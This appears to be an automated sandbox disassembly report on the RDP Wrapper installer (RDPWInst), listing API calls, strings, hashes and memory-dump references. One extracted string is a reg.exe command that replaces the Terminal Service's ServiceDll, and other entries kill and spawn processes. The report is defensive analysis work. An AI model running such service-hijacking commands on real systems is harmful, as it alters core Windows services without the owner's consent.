EnterCriticalSection.KERNEL32(00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?), ref: 00408CEA
lstrcpynW.KERNEL32(en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540), ref: 00408D08
LeaveCriticalSection.KERNEL32(00449B54,en-GB,en,en-US,,00000000,000000AA,00449B54,00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000), ref: 00408D12

Strings

en-GB,en,en-US,, xrefs: 00408C56, 00408D03

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValidlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1058953229-3021119265
Opcode ID: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction ID: 9b1ce77b3c0781b783b438d4c88a1dd796634ce3a4aca31124bb85a30b48e6d3
Opcode Fuzzy Hash: f5c0c5a953935993f8144897554dda3b04a66e7f6cf498fae83c5be40df86a5b
Instruction Fuzzy Hash: B321AE203042556AEB50B77A9E57B6A2169EF4570CF60443FB481B72D2CEBCAC04E22E

Function 0043C1C8 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
GetLastError.KERNEL32(00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Strings

$sD, xrefs: 0043C1E7, 0043C235
[-] OpenProcess error (code , xrefs: 0043C1EC
[-] TerminateProcess error (code , xrefs: 0043C23A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastProcess$OpenTerminate
String ID: $sD$[-] OpenProcess error (code $[-] TerminateProcess error (code
API String ID: 1809907545-775158141
Opcode ID: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction ID: c032a40b630c9990863936c46c82d74717666648ea03c3b6a4bb658b84b7f9ba
Opcode Fuzzy Hash: 6f554e20b072eb6f5660c25ac1f2be49616fb729524d0b6480b7b10d1be33d93
Instruction Fuzzy Hash: EB01F6A5B442111AE610B3FB0D82B2F255A8F8A75CF02917FB504B62D7CA3C9C11977F

Function 0040472C Relevance: 15.1, APIs: 10, Instructions: 129
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047B5
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047D9
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004047F5
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 00404816
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 0040483F
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0040484D
GetStdHandle.KERNEL32(000000F5), ref: 00404888
GetFileType.KERNEL32(?,000000F5), ref: 0040489E
CloseHandle.KERNEL32(?,?,000000F5), ref: 004048B9
GetLastError.KERNEL32(000000F5), ref: 004048D1

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction ID: de0dc4671a2c55deed7a27a48df34c8c3110be8be3acd5b577aa359944728292
Opcode Fuzzy Hash: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction Fuzzy Hash: EA4183B5500A40A9E730BF24C90972376E4EBC0714F20CE3FE692B66D0E7BDA845878D

Function 0043C31C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 70
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C37B
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C384
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C3BB
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3C6
CloseHandle.KERNEL32(?,?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3CF

Strings

[-] CreateProcess error (code: , xrefs: 0043C392
$sD, xrefs: 0043C38D
D, xrefs: 0043C34D

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastObjectProcessSingleWait
String ID: $sD$D$[-] CreateProcess error (code:
API String ID: 1377960556-1026335874
Opcode ID: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction ID: 1d017b2d671d3512e5dabab7732e068b99e5a835ee42228d460eb482b244bc14
Opcode Fuzzy Hash: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction Fuzzy Hash: D21151B0644204AADB00F7E5CD82F9E77B89F49714F61453BF610F61D2D67CA910972E

Function 00403028 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,00402C9A), ref: 004030BE
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,00402C9A), ref: 004030D8

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction ID: 8e11df8688fcfc32dba15f0401baaa5f3e1cf13b6ab2085a37f93781684c6a2f
Opcode Fuzzy Hash: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction Fuzzy Hash: 9F7115312052009FD715CF69CE89726BFE4AB89315F14827FD444AB3D6D7B889458789

Function 0043C598 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 98COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0043C716,?,?,?,00447324,00000000,00000000,00000000,?,00443BC6,00000000,00443FB2), ref: 0043C600

Strings

$sD, xrefs: 0043C60D
" /f, xrefs: 0043C69A
ServiceDll, xrefs: 0043C650
\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d ", xrefs: 0043C68F
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C5EF
%SystemRoot%, xrefs: 0043C682
[-] OpenKey error (code , xrefs: 0043C612

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: " /f$$sD$%SystemRoot%$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters$\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "
API String ID: 1452528299-2956723230
Opcode ID: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction ID: 86ae2d0f633f2b7d457566c29c3046f730a81976c8e7ce91198a0ccb689aa4bb
Opcode Fuzzy Hash: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction Fuzzy Hash: B331DE74A04204AFDB10FB66CC82A2E77A5DB4D308F61A07BF800B7291CB3CAD049B5D

Function 00402CA4 Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00402C72), ref: 00402D5B
Sleep.KERNEL32(0000000A,00000000,?,00402C72), ref: 00402D71
Sleep.KERNEL32(00000000,?,?,?,00402C72), ref: 00402D9F
Sleep.KERNEL32(0000000A,00000000,?,?,?,00402C72), ref: 00402DB5

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction ID: 31c3f393645164f4675e576557a9223240219fe3669f0ad713ca74d6ded16897
Opcode Fuzzy Hash: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction Fuzzy Hash: B4C147766052518FD715CF28DE8831ABBE0AB86314F1882BFD444BB3D5C7B89946CBD8

Function 0040941C Relevance: 6.1, APIs: 4, Instructions: 118stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3
GetUserDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409530
GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 0040955C

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DefaultLanguage$SystemUserlstrcpynlstrlen
String ID:
API String ID: 3749826553-0
Opcode ID: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction ID: 670d7e8fee0ffa615f00d819e5c077188fbd82142d60affd8ce3058b6d31cf6a
Opcode Fuzzy Hash: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction Fuzzy Hash: 37416571A002195ED721EB6ADC8978EB3B4EF48304F5005BAE448B72D2DB789E908E58

Function 004040B4 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 004040D2
VirtualFree.KERNEL32(00449AC8,00000000,00008000,?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 0040412F

Strings

xPD, xrefs: 004040E2
$zD, xrefs: 004040B8

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID: $zD$xPD
API String ID: 1263568516-535612291
Opcode ID: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction ID: 63e96df57fdc30e3e5434cdd8ac4306be2e0fcd0727744789414a485f14a8afc
Opcode Fuzzy Hash: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction Fuzzy Hash: CF1161B13012009FDB248F059985B26BAE5EBC4714F55C0BEE309AF3C2D679EC01CB58

Function 00438B0C Relevance: 4.6, APIs: 3, Instructions: 150registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438BFB
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00438C6C

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction ID: 3681a8d3f24b20706dc106850b3bb9ce640454c4e8124a7cc358b0d46e7adf70
Opcode Fuzzy Hash: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction Fuzzy Hash: 1F51A370B00344AFDB11EBA5C842B9EF7F9AB48304F11547EB444A3282CA7DAF069759

Function 00406220 Relevance: 4.6, APIs: 3, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction ID: 823ae625d887489e04d5fb836baef855571e76b59bd7737af2fa314308855dda
Opcode Fuzzy Hash: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction Fuzzy Hash: 0D316F749002508BEF21BF69988975737A0AB05319F1640BFE806AB2D7C77C9CA4CB9D

Function 00406218 Relevance: 4.6, APIs: 3, Instructions: 76threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction ID: 46b61aa2349ed196f7bea0abd1f985a96ea7bcfce35a4251490327c9ac1ca2fd
Opcode Fuzzy Hash: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction Fuzzy Hash: 1331A2749002908BDF21BF78888975737A0AB06319F1640BFE845AB2D7C37C9CA4CB9D

Function 0040621C Relevance: 4.6, APIs: 3, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
